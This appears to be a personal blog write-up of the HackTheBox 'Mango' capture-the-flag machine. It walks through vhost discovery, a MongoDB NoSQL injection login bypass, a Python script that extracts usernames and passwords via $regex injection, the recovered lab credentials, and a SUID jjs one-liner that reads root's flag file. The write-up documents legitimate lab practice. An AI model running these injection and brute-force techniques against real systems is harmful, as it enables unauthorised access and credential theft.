Ajdin's blog Tags Github RSS

HackTheBox Mango Write Up

18 Apr 2020

Reconnaissance

Let’s run nmap,

sudo nmap -sV -sC -O -oA nmap/initial 10.10.10.162

nmap

We have to use https for this website on port 80, and we can get this “search page”. We can see some kind of analytics page in the top right corner.

page

page

Getting user account

I checked the /robots.txt, also ran gobuster, nothing useful there. The SSL certificate wasn’t valid so I took a look a there and we have a page reference: staging-order.mango.htb

ssl

The page is inaccessible, but we can use the /etc/hosts file to redirect the page back to the server itself. You could also change the headers of the https request and change the host value to “staging-order.mango.htb”.

We have multiple server running on the same machine and port (Vhost - virtual hosts) so that is why when we change the host value, we access a “different” server.

Now I added the line to /etc/hosts so the hostname is translated to the correct IP address.

hosts

NoSQL injection

Now we have a login page here, I spent around 4 hours here as this wasn’t something I had experience with. We have to perform an authentication bypass.

login

The login is handeld by MongoDB in the background. How do I know this? The full nmap scan has recognized a MongoDB instance. MondoDB is a NoSQL database, unlike PostgreSQL, which is an SQL database. We need to perform a NoSQL injection attack.

I opened the network tab in Firefox and tried to login with “admin” and “test”. This will send a POST request. We can open it and see the request body.

network

request

Edit the request:

Before:

username=admin&password=test&login=login

After:

username=admin&password[$ne]=test&login=login

This will trick Mongo to check if the password doesn’t match and if it doesn’t it will let me in.

reply

afterlogin

Bruteforcing the password

We can’t do anything from the webpage so I tried to brute-force the password. Here I have found a nice script. It uses regular expressions to try to match the password. The code is fairly simple so I won’t be explaining that.

You should change the cookie ID.

import requests
import stringurl = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        breakif c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernamesfor u in get_usernames():
    get_password(u)

This will run for some time, the output is:

success

admin:t9KcS3>!0B#2
mango:h3mXK8RhU~f{]f5H

I couldn’t SSH into admin but I could SSH into mango, switch user to admin and cat user.txt.

usertxt

Getting root account

First, I switch from sh to bash by running /bin/bash.

I transfered linenum.sh on the server and checked the output. There was an interesting file with SUID bit set to 1:

jjs

Privilege escalation with JJS

This is usually used for privilege escalation, so when you run jjs you get some sort of shell, let’s check GTFOBin if we can escape. There is a file read exploit so I’ll use that (note: you have to change the file name and remove the “newline symbols” ):

echo 'var BufferedReader = Java.type("java.io.BufferedReader"); var FileReader = Java.type("java.io.FileReader"); var br = new BufferedReader(new FileReader("/root/root.txt")); while ((line = br.readLine()) != null) { print(line); }' | jjs

roottxt

Thanks for reading! Make sure to follow me on Twitter @ajdintrejic.

mongodb jjs